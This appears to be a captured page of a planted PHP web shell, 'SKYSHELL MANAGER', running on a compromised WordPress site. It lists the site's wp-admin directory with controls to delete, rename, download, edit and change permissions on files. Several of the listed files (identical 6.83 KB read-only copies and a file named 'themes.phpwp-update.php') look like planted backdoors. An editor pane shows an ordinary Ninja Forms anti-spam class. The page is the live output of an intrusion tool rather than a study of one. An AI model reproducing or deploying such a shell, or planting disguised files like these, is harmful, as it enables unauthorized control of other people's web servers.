📁
SKYSHELL MANAGER
PHP v8.1.29
Create
Create
Path:
root
/
var
/
www
/
html
/
wxwpsite
/
fungiftdeals
/
wp-admin
/
Name
Size
Perm
Actions
📁
css
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
includes
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
maint
-
0755
🗑️
🏷️
🔒
📁
network
-
0755
🗑️
🏷️
🔒
📁
user
-
0755
🗑️
🏷️
🔒
📄
about.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
admin-footer.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
admin.php
12.63 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
async-upload.php
5.47 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
authorize-application.php
10.09 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
comment.php
11.37 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
custom-header.php
0.49 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
customize.php
11.21 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit-form-blocks.php
14.73 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
edit.php
19.48 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
export-personal-data.php
7.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
font-library.php
1.01 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
home.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php
7.68 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
media-upload.php
3.58 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
menu-header.php
9.82 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
network.php
5.39 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
press-this.php
2.41 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
privacy.php
2.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
setup-config.php
17.52 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
themes.phpwp-update.php
114.83 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
update.php
12.76 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
user-edit.php
40.35 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
widgets-form-blocks.php
5.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
wp-mail.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
Edit: Spam.php
<?php if ( ! defined( 'ABSPATH' ) ) exit; /** * Class NF_Fields_Spam */ class NF_Fields_Spam extends NF_Abstracts_Input { protected $_name = 'spam'; protected $_type = 'spam'; protected $_section = 'misc'; protected $_icon = 'ban'; protected $_templates = 'textbox'; protected $_settings = array( 'spam_answer' ); public function __construct() { parent::__construct(); $this->_nicename = esc_html__( 'Anti-Spam', 'ninja-forms' ); // Rename Label setting to Question $this->_settings[ 'label' ][ 'label' ] = esc_html__( 'Question', 'ninja-forms' ); $this->_settings[ 'label_pos' ][ 'label' ] = esc_html__( 'Question Position', 'ninja-forms' ); // Manually set Field Key and stop tracking. $this->_settings[ 'key' ][ 'value' ] = 'spam'; $this->_settings[ 'manual_key' ][ 'value' ] = TRUE; // Default Required setting to TRUE and hide setting. $this->_settings[ 'required' ][ 'value' ] = 1; $this->_settings[ 'required' ][ 'group' ] = ''; add_filter( 'nf_sub_hidden_field_types', array( $this, 'hide_field_type' ) ); } /** * Validate * * @param $field * @param $data * @return array $errors */ public function validate( $field, $data ) { $errors = parent::validate( $field, $data ); if( ( isset( $field[ 'spam_answer' ] ) && isset( $field[ 'value' ] ) ) && ( $field[ 'spam_answer' ] != $field[ 'value' ] ) ){ $errors = esc_html__( 'Incorrect Answer', 'ninja-forms' ); } return $errors; } public function get_parent_type() { return 'spam'; } function hide_field_type( $field_types ) { $field_types[] = $this->_name; return $field_types; } }
Save